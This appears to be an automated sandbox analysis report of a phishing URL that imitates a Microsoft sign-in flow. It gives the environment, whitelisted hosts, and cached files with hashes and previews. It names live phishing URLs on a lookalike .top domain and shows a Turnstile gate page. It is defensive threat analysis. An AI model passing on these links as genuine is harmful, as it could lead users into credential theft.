Sample URL:	https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.phis.win@23/111@39/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Browse: https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2fv-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top%2fcommon%2freprocess%3fctx%3drQQIARAAjZE_TBNhAMXv65UTEKXBxU1z0YV47V3vendtgrFXroAtUKUIVE29fvcdd-1dv3J_2gJhJQ7GEDeNk2PjYJwMg3EzIQ6NxoVF40TQGOMCiYmx1cVN3_Dyhpc3_N44yUW51AX2j-JM3xnWMDgGon76S-7YcOTIf0--2-1-en2rdPGNnbc74Jzp-w0vFYvhwLcxrkWxYVgQRSF2YrilxV4A0AXgAIAHoTOeiQJ0RTI1y4Wa-7vTCUkiLwtJUZRYTuREQZb4eLRSgXHBiCcZWZBYRuA1nZENUWJggpN1VpS4pI72Q6Pz6cA3433DrrWBvoeGDOw65Qb2_EfkfTAJfWXSm1lVVeU6my_gal1Lw6XSytRM0spl0yZburpY1dFy2wgkN3Fjoc2oLU0xrxezQkudzK54uJjha3y-Zq4HedNUFDzLlKxZ11usLefazkwFmtlqGcrJHqyKXGa0uSDpB9yGoRvr-QWouu60n0MJe6HJc0qrQ_4X5eck1cPi4PoeSeEGqlt6Nww-hsFheIQlU4ODwxHiLHGeOA6DJwO9Q15--PG0dKeRe7zDHl1-u03sDcQQtKWVijOHrKKJlq41hUXesNV0uy62-XXH3KgWfDHBe40W25qIp7gdCuxQ1C41NEhGCJrMFLgDCnyjwN0TxO7Qv97tngT7I8IwBW3Ncryx8U3a0ss-rqE6ndqk245XhrCfmpodII9O3aR7-_Ttra2tV6eI49Nfft7b_tx5-HX6cPTSlFIM3DXTyyB5TpHmfWWV0wy-ac2KS2tr3DJnFnCQkWuOnVAnnkWIXw2&mkt=en-US&hosted=0&device_platform=Windows+10

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 64.233.185.94, 74.125.136.113, 74.125.136.139, 74.125.136.100, 74.125.136.101, 74.125.136.102, 74.125.136.138, 142.250.105.84, 34.104.35.123, 40.119.6.228, 20.114.59.183, 199.232.210.172, 23.40.205.41, 23.40.205.35, 23.40.205.49, 23.40.205.67, 23.40.205.43, 23.40.205.26, 23.40.205.59, 23.40.205.58, 23.40.205.66, 192.229.211.108, 13.85.23.206, 23.47.204.57, 23.47.204.48, 23.47.204.49, 23.47.204.54, 23.47.204.67, 23.47.204.63, 23.47.204.66, 23.47.204.59, 23.47.204.53, 40.126.7.35, 40.126.7.32, 40.126.28.19, 40.126.28.14, 40.126.28.13, 40.126.28.21, 40.126.28.11, 40.126.28.18, 173.222.249.18, 173.222.249.81, 173.222.249.104, 173.222.249.59, 173.222.249.9, 173.222.249.64, 173.222.249.75, 173.222.249.10, 173.222.249.113, 172.217.215.95, 108.177.122.95, 74.125.138.95, 142.251.15.95, 142.250.9.95, 142.250.105.95, 64.233.176.95, 74.125.136.95, 172.253.124.95, 64.233.177.95, 64.233.185.95, 173.194.219.95, 108.177.122.94, 40.126.29.1, 40.126.29.23, 40.126.29.0, 40.126.29.2, 40.
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, twc.trafficmanager.net, na.privatelink.msidentity.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, a767.dspw65.akamai.net, clients2.google.com, mscomajax.vo.msecnd.net, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, login.live.com, onedscolprdeus16.eastus.cloudapp.azure.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, client.ppe.repmap.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net, clients1.google.com, e40491.dscg.akamaiedge.net, prdv4a.aadg.msidentity.com, www.ppev6tm.aadg.akadns.net, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, prdf.aadg.msidentity.com, aadcdnoriginwus2.azureedge.net, cs22.wpc.v0cdn.net, www.tm.v4.a.prd.aadg.akadns.net, www.tm.f.prd.aadg.akadns.net, ctldl.windowsupdate.com, aadcdn.msauth.net, wu-bg-shim.trafficmanager.net, passwordreset.mso.msidentity.com, firstparty-azurefd-
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3255), with no line terminators
Category:	dropped
Size (bytes):	3255
Entropy (8bit):	5.229594578678382
Encrypted:	false
SSDEEP:	48:0aXW4lNPkiWUZIbWYBc36yKrnVjbv8+qfOcqwFtiGNir98SKZyEk0s4tPA:dGeCUitBcXanFISch+r98SKZdFsi4
MD5:	F7140AC633F70DE3BB0D785E27A9A381
SHA1:	092E5A67214449AF6EF8C8D2DBC871356F2930DD
SHA-256:	B61FBBE94C1986E8D3964CAF319846C027EB3EEFCB3533200F6648C2055490C8
SHA-512:	A9436A34E287D1F69C11B1394D507532EC942FFCFDCE06913693854CE1F79EBEF1731A6FDDF139EB90F3C28979D0F6AD47106E459774DBDEFC922A52E33D40D2
Malicious:	false
Reputation:	low
Preview:	<!doctype html><html lang=en-US><head> <script async defer src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback"></script> <title>Just a moment...</title> <meta content="width=device-width,initial-scale=1" name=viewport> <script>var verifyCallback_CF=function (response){var cfForm=document.querySelector("#cfForm"); if (response && response.length > 10){cfForm.submit(); return;}}; window.onloadTurnstileCallback=function (){turnstile.render("#turnstileCaptcha",{sitekey: "0x4AAAAAAAYN4FOeSmqG7_zc", callback: verifyCallback_CF,});};</script></head><style>.h1,.h2{font-weight:500}*{box-sizing:border-box;margin:0;padding:0}html{line-height:1.15;-webkit-text-size-adjust:100%;color:#313131;font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji}body{display:flex;flex-direction:column;min-height:100vh}a{transition:color .15s;background-co

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113084
Category:	downloaded
Size (bytes):	20314
Entropy (8bit):	7.979540464295058
Encrypted:	false
SSDEEP:	384:ekqQ8rNFEhCgMyL2iww6oIR8mWG+Pu9Z5IM6mxqrghTvUty7T9Q:9CGEiL/w7R8DW9Z5B6AasTv37T9Q
MD5:	92A840DC3D177339DAE03FEDF22A22B5
SHA1:	C1C9A6E6442388D07A9D9D72C12DA25094D6920F
SHA-256:	4A986BA8875F22A0EABC356112A6790F90E114ADB72EAEC4632E03812EC1EDE4
SHA-512:	98C705395DD249501D8069A03E0068BC9CCF4F2D139BEC63A00564C69CD21C05CB25CF56BA7B40822963737989D5048AD310E20D6022E84346C982CFCEF79E11
Malicious:	false
Reputation:	low
URL:	https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css
Preview:	...........}ks.6.....\.R;.J.H=-WR;..&>g^53.G.R[.DY<C..$e.WG..... )...{+'g...l............bw_f7.:x..<x.-.V5)/wE..Y...gy.0.(.-o.e.\|..._..I.....?<{.!x...W..._..^..p..E..'..Y...<.....]..6(. ..D.....Y.......:.ve.?..!..\|t...].+.......a.......\|.P...u.H.d.d.r.c[..~.L..n.-.}e.H3...r..^..iP.u..z.....)..Z.jx..C'......u..{.C...N.o.m~..F(b..f.....h..O.....6....kr.......n2m M$.R..R..i{.~.....n.dKY..#.Kn.4..G...O..l.#.a=..iU..].S.2.wY..O.\|...Z.A....].uU.._%U.<...pp..u=.....C.R..S.....0...A<......&...W..'o.T.."..jO..^+.....DiW.b..7i..7..........lKe.0.~B0.....zQu#...YB.,.{.&.6..G.6..._...J.i.?.LS$( .^.{..u.-.0....K....M&j..s.yB..+....^.)...7e.....]..eFI_.kRX.B......D[.4......+.u=>....R.`QEK...R..d...*S.. ,c5RKBK(......][..eF{T.....6...".....Uk:..S.0Ro.}B.dwJZ}U..S.F.....&.&.~\|......{..Ep.>x..._....}p..=.}...v...7?}...g..1&.......}...^...o.x.>x...../.^....._.........w.v./.........BA...{J..w..$?.}w....?zO.r..5...7.gl..z...g.?.{....R.......yGj

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 17 x 25, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	471
Entropy (8bit):	7.197252382638843
Encrypted:	false
SSDEEP:	12:6v/7eM/H/HTOlHAbsnwpncDR1pxInjqrrgRRIEw6Jz:qHTO0Gwpnc7pOnjqngRR1nJz
MD5:	C651D60A08FF0F579E2EB9BE6043A3C6
SHA1:	E7BCBB896EEA20A4DC68EDD2EF5B336E92690A55
SHA-256:	7B4B6ADAA1DDA648143A18A52B51DFAAB54775BDB6284DFF5C869235CD385230
SHA-512:	017C29423F096A45AD5D1002B2F14E27A8298F144A962B78F46A96626A1027D5E4EC57468CD8F8C5B9E97461FA651452A1786CD9F5F76264652D03F55D516138
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/images/hip_reload.png
Preview:	.PNG........IHDR..............>.....sRGB.........gAMA......a.....pHYs..........+......tEXtSoftware.Adobe ImageReadyq.e<...GIDAT8O...@...;Wa.`.X....b....... A.F....K...a..t*{3.e...K.....C..0.....)~;.eYvP....L}.KAEQP.4..WYd....mV]..m....$M...`...C.$R.......`..dM.T....,RU..TU..`.'0.!...D[`p..W)D8,dv]Wt....\^v.$.s..`.i...!...D..e$......$.8../..8....;..\6,...f\|....n.....e..M...g.O.9....q..&........0.w...k...z....\.iZ..c.;.F...Uq7.'Y....X ....IEND.B`.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3005
Entropy (8bit):	4.3348196756520005
Encrypted:	false
SSDEEP:	48:ITWNX9q7aVxyFGwvqNTTswh11KdA/IMUitKhyWirt+NG/BC0/PTfhyr1+18:IiNX9oFG4qTJb0a/IMNURkt6GJZ/7fU7
MD5:	A870B45AC5D6B0D4E18C4829C7B660B4
SHA1:	2D3CA0E1F19EFDEB9B2DD3DCFFB17F8ABA118AA0
SHA-256:	144524233F795D6A425B76F7AE5C0BB622B5F67E2E6AE73532AD526528CA07CF
SHA-512:	295A21307D452F4BF51C62770C6A6B43CDB8B5A6BFA3617E068C8550285252B88F8BBF93A81C39E4BD7F73645EE094EDE0E2733DAFA5094E3EBAE20033363270
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/WebResource.axd?d=yfXejayQP4znoQO4Q-WuWPSNpyoJDwiwsvGNyHLDkV-PCUGEhfUGU0GUo6RpydbAZm4pVM6jMkiJTAk2fJp7MSpXra16O_3dfe89Y44574UNGtregrtcpIFs09dlI78n-7VGOm1MYkgpXZ10U0Gm3Q2&t=638478749639812753
Preview:	function WebForm_FindFirstFocusableChild(control) {.. if (!control \|\| !(control.tagName)) {.. return null;.. }.. var tagName = control.tagName.toLowerCase();.. if (tagName == "undefined") {.. return null;.. }.. var children = control.childNodes;.. if (children) {.. for (var i = 0; i < children.length; i++) {.. try {.. if (WebForm_CanFocus(children[i])) {.. return children[i];.. }.. else {.. var focused = WebForm_FindFirstFocusableChild(children[i]);.. if (WebForm_CanFocus(focused)) {.. return focused;.. }.. }.. } catch (e) {.. }.. }.. }.. return null;..}..function WebForm_AutoFocus(focusId) {.. var targetControl;.. if (__nonMSDOMBrowser) {.. targetControl = document.getElementById(focusId);.. }.. else {.. targetContro

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	660449
Entropy (8bit):	5.4121922690110535
Encrypted:	false
SSDEEP:	12288:3PUKyvwjOOvwZ1ARuxntuicBh8hS11dsUA:yvjZ+/pIUA
MD5:	D9E3D2CE0228D2A5079478AAE5759698
SHA1:	412F45951C6AEDA5F3DF2C52533171FC7BDD5961
SHA-256:	7041D585609800051E4F451792AEC2B8BD06A4F2D29ED6F5AD8841AAE5107502
SHA-512:	06700C65BEF4002EBFBFF9D856C12E8D71F408BACA2D2103DDE1C28319B6BD3859FA9D289D8AEB6DD484E802040F6EE537F31F97B4B60A6B120A6882C992207A
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.3.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.3.mouse.js'] = (new Date()).getTime();..;_n.a.jR=function(n){return n.dS()};_n.a.jZ=function(n){return n.eh()};_n.a.jP=function(n){return n.cC()};_n.a.jQ=function(n){return n.ca()};_n.a.hZ=function(n){return n.dO};_n.a.jU=function(n){return n.ed()};_n.a.jT=function(n){return n.ea()};_n.a.kb=function(n){return n.ej()};_n.a.hM=function(n){return 300};_n.a.fh=function(n){return n.V};_n.a.jV=function(n){return n.bI()};_n.a.ie=function(n){return n.mh()};_n.a.km=function(n){return n.bl()};_n.a.ka=function(n){return n.ei()};_n.a.ko=function(n){return n.cV()};_n.a.eX=function(n){return _y.E.isInstanceOfType(n)?n.y:null};_n.a.jN=function(n){return n.c()};_n.a.gm=function(n){return n.b()};_n.a.jM=function(n){return n.b()};_n.a.ib=function(n){return n.jM()};_n.a.iq=function(n){return n.bG};_n.a.iX=function(n){return _n.V.isInstanceOfType(n)?n

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 25, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	405
Entropy (8bit):	6.927238031773719
Encrypted:	false
SSDEEP:	6:6v/lhPGtyR8R/Chm+jnDs9cCXz6fXIpvI+WOcy0f11VTaENo+7PfW3e37zt1afwp:6v/7SyG/HYfXJOvU1zTa8o+W8
MD5:	D4FFE61373F6AA32EEB8CA7CD41AB980
SHA1:	4925FAC4BC73EFB7C7BBC32B11C435ECF1D61674
SHA-256:	D5C54FFC6B8BD44D932BE8F37B1CD5B666205C7574F9D56EF68E56F83E08FFAD
SHA-512:	0F7EDE96F20BB3C053C246FFE1EF8CE739CEF7757FAAED031A365299B88664A046557C2C7FDB3BADED070BA4EBA1A14950D7E3A066B4976BF07142CEFA48BEEB
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/images/hip_speaker.png
Preview:	.PNG........IHDR.............8.......sRGB.........gAMA......a.....pHYs..........+......tEXtSoftware.Adobe ImageReadyq.e<....IDAT8O...0...nf..y.,X4.g.I.h4..H.`.b.bA..f.n....%.=.iS.?N....^....A.(...~.i..m[.Qyz..iB..(...8...<G.........y..$.8....EQ.u]..I..(R.l...a...=..?t...CUU.......-..7.!..@.u0\..y.@..[a...p@.J.......e..>.Y..i..>A...+.,[. X9..z....B.4..+)..`n/..Q..>...y....e<....IEND.B`.

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
URL:	https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 64x64, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	24038
Entropy (8bit):	5.992474931914016
Encrypted:	false
SSDEEP:	384:cLU4fKWVUvyZk56/1+fZfMj8hTb5nz0bnOWWWWWWWWWWWWWWWWWWWWWWWWWqvESs:cLxfKW6yZk8/iZfMjYxnzonm9MaKcuwW
MD5:	877784A5F5808CEFA2B61E73BFCF8EAE
SHA1:	6A0E7EDA2734D7BBBA3CE38D37B347DF001B1DBF
SHA-256:	BE7F0632337BC381D4962125545A5CC3C1E84E2D03DBDB97AB3D79AD78B91B6D
SHA-512:	DABFFC928F7ED2A2D05003DAEF643806BD1CEC6B98E705F7415A82AFE7034F4E1E8A70C5AE69B094A948EEDAB4E8B76DCF72DF881DA092FE4AB76DA0EEFB8C3C
Malicious:	false
Reputation:	low
Preview:	......@@.... .(@..F... .... .(...n@........ .(....P........ .(....Y..(...@......... ............................................................W.X..~S...W...X...X...X..X..V..p...}.............................................................kQ.W*..S$..wK..k..k..k..m..m..p..q..q..r..~......".........................................................................t..s'..^...\...^..._..._...`...a...b...e....M.................................................................fF.^...sB...m...v...w...x...x...y...{...{............%...#..."..."... ......................................................................v.._..xL...V...X...X...Y...Z...Z...\...`..}N...k#....................................................................rO4.Y+...T...k...q...q...p...q...q...u...}...."...$... .................................................................................j...S...T...X...Z...Y...Z...[...Z...]..._..{O...o?...........................................

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	26951
Entropy (8bit):	4.514992390210281
Encrypted:	false
SSDEEP:	384:jMgviMjM4if38GmhXeC1QRwweTkBE9wbOY4Jf/JhRZ5h+73hNVt8oC4veONhLYVi:CLEiJSdo11vIYHqb5Klo8v
MD5:	B3D7A123BE5203A1A3F0F10233ED373F
SHA1:	F4C61F321D8F79A805B356C6EC94090C0D96215C
SHA-256:	EF9453F74B2617D43DCEF4242CF5845101FCFB57289C81BCEB20042B0023A192
SHA-512:	A01BFE8546E59C8AF83280A795B3F56DFA23D556B992813A4EB70089E80621686C7B51EE87B3109502667CAF1F95CBCA074BF607E543A0390BF6F8BB3ECD992B
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/ScriptResource.axd?d=toY-xGLgNRMp8DvmwA1TquKcoJ63M_cuZ5JgxzWt9ClMkvhUKZCgrarPNsEuFNEcadvXW2fG2R9jPyWkIjURV0R3rstR8-gYWGtAa2gNs5GtZP42MZEwWOvqRS6DElp2Lx85avv2yXlUVL89z6fLsiNPiNVErN11dM-pHGijQpW8Abi7Z2Jf67nkX0GRoy7Ti38BLDX3qqBnOrnBOpAUUQ2&t=ffffffffa8ad04d3
Preview:	var Page_ValidationVer = "125";..var Page_IsValid = true;..var Page_BlockSubmit = false;..var Page_InvalidControlToBeFocused = null;..var Page_TextTypes = /^(text\|password\|file\|search\|tel\|url\|email\|number\|range\|color\|datetime\|date\|month\|week\|time\|datetime-local)$/i;..function ValidatorUpdateDisplay(val) {.. if (typeof(val.display) == "string") {.. if (val.display == "None") {.. return;.. }.. if (val.display == "Dynamic") {.. val.style.display = val.isvalid ? "none" : "inline";.. return;.. }.. }.. if ((navigator.userAgent.indexOf("Mac") > -1) &&.. (navigator.userAgent.indexOf("MSIE") > -1)) {.. val.style.display = "inline";.. }.. val.style.visibility = val.isvalid ? "hidden" : "visible";..}..function ValidatorUpdateIsValid() {.. Page_IsValid = AllValidatorsValid(Page_Validators);..}..function AllValidatorsValid(validators) {.. if ((typeof(validators) != "undefined") && (validators != null)) {

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ISO-8859 text
Category:	downloaded
Size (bytes):	2814
Entropy (8bit):	5.574084648493998
Encrypted:	false
SSDEEP:	48:r1Cw0BSNwXGd1wHdvA3iHYoN10o3hGRlHvzHQY+a62CuPbppo:rDKSNgGd1wNFH71xx2CuPVi
MD5:	571CF1F480FCEDC40FE58CC26647BFDD
SHA1:	42A8841EBE5BE2FDADC953B070C9D2E4C0161D1E
SHA-256:	47737D49F136CA1DAF9DB6C48D4591576DD05B1F467946ED6633D9347A3F5014
SHA-512:	D253016AF85D3A91C6658A412CB300BA28FFB8E5768AD2B3B7FB2DE70F58B944689E444D97EC67E9DF2CBD3C1DBF595F9D39CA592135A11727B01AF95CD85B2D
Malicious:	false
Reputation:	low
URL:	https://taisanji.jp/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="ja">.<head>.<meta charset="EUC-JP" />.<title>404 File Not Found</title>.<meta name="copyright" content="Copyright XSERVER Inc.">.<meta name="robots" content="INDEX,FOLLOW" />.<meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0">.<style type="text/css">.* {. margin: 0;. padding: 0;.}.img {. border: 0;.}.ul {. padding-left: 2em;.}.html {. overflow-y: scroll;. background: #3b79b7;.}.body {. font-family: "....", Meiryo, "... ........", "MS PGothic", "....... Pro W3", "Hiragino Kaku Gothic Pro", sans-serif;. margin: 0;. line-height: 1.4;. font-size: 75%;. text-align: center;. color: white;.}.h1 {. font-size: 24px;. font-weight: bold;.}.h1 {. font-weight: bold;. line-height: 1;. padding-bottom: 20px;. font-family: Helvetica, sans-serif;.}.h2 {. text-align: center;. font-weight: bold;. font-size: 27px;.}.p {. text-align: center;. font-size: 14px;. m

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1498
Entropy (8bit):	4.81759827491068
Encrypted:	false
SSDEEP:	24:UhvVovixQcvUvED/frfnQYRKYKvZiANncisDmZu7SECywEZS9Y6f:U7ZM8vbA3smgm89CywYkV
MD5:	11FE4E6509513DB245F1F97E37C5D3AB
SHA1:	05322C35B6BFAE84CE8C626BD7B1F8C4A6F15A6D
SHA-256:	78D437B40A85299F96ED9D02E35F23FD3D3EF63D844D8D2523A15516F7E1D09C
SHA-512:	E8A7C3B06C54B671FF6772D6A360DD0B4A65888B4DBD32AE04D14E4971343A71E1B4EC1E58BD45898744A1B0DF4EDE24141FF47E2C0393E18AACFC97E6F10D76
Malicious:	false
Reputation:	low
URL:	https://passwordreset.microsoftonline.com/css/ltrStyle.css?v=1342177280
Preview:	.paddingright { padding-right: 20px; }...paddingleft { padding-left: 20px; }...paddingright7 { padding-right: 7px; }...paddingleft7 { padding-left: 7px; }...paddingleft10 {padding-left: 10px; }...alignright { text-align: right; }...alignleft { text-align: left; }...leftalign {text-align: left; margin-left:0px;}.....borderRight {border-right: 1px solid black; padding: 0px;}.....userTypeRadioButtonMargin{margin-left: 10px; margin-top:50px;}...userVerificationInputLabel {text-align:left;padding-right: 10px;}...radioButtonMoreInformation { padding-left: 20px }.....header .logo{float:left; padding-left:30px;}.....HelpCallout td.PosRight{padding: 8px 0px 0px 0px; margin: 0px; vertical-align: top; font-size: 1px; border: none !important; background-color: transparent !important;}...HelpCallout td.PosRight > div{font-size: 1px; position: relative; left: 1px; border-bottom: none !important; border-right: none !important; border-left: none !important; width: 15px; background-color: transparent !

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 58 x 5, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPl36t/Zw/l/xl/k4E08up:6v/lhPQtm17Tp
MD5:	3A3D377C397687F18CD9AE6EC71EF8BE
SHA1:	2020259CABE8782655830FE7EE363B061F075B07
SHA-256:	61C0258B198F4E1BE625569F5653424B08B61427CC3678D86B6E1262E73BAC92
SHA-512:	5EC50EC856FFB79F7C43E074E929E694052CA3512560ABEE2AA92CB6D4A698C48E39715CF4E85DAFEFF05F416BD9F4BC4A872D52123A044720A46D808D7F0421
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...:...........h.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (39257), with CRLF line terminators
Category:	downloaded
Size (bytes):	40326
Entropy (8bit):	5.245555585297941
Encrypted:	false
SSDEEP:	384:bvrc3TrJ1vMZCKZ4pLRy6DkfDLcbTzcXanT2rxb64aKQr1vySAwBaPUge6ydE:bTaYB4Hy7mTzcaTKStrwSAwBaPUTdE
MD5:	DA9DC1C32E89C02FC1E9EEB7E5AAB91E
SHA1:	3EFB110EFA6068CE6B586A67F87DA5125310BC30
SHA-256:	398CDF1B27EF247E5BC77805F266BB441E60355463FC3D1776F41AAE58B08CF1
SHA-512:	D4730EBC4CA62624B8300E292F27FD79D42A9277E409545DF7DC916189ED9DF13E46FAA37E3924B85A7C7EA8C76BF65A05ECA69B4029B550430536EC6DF8552A
Malicious:	false
Reputation:	low
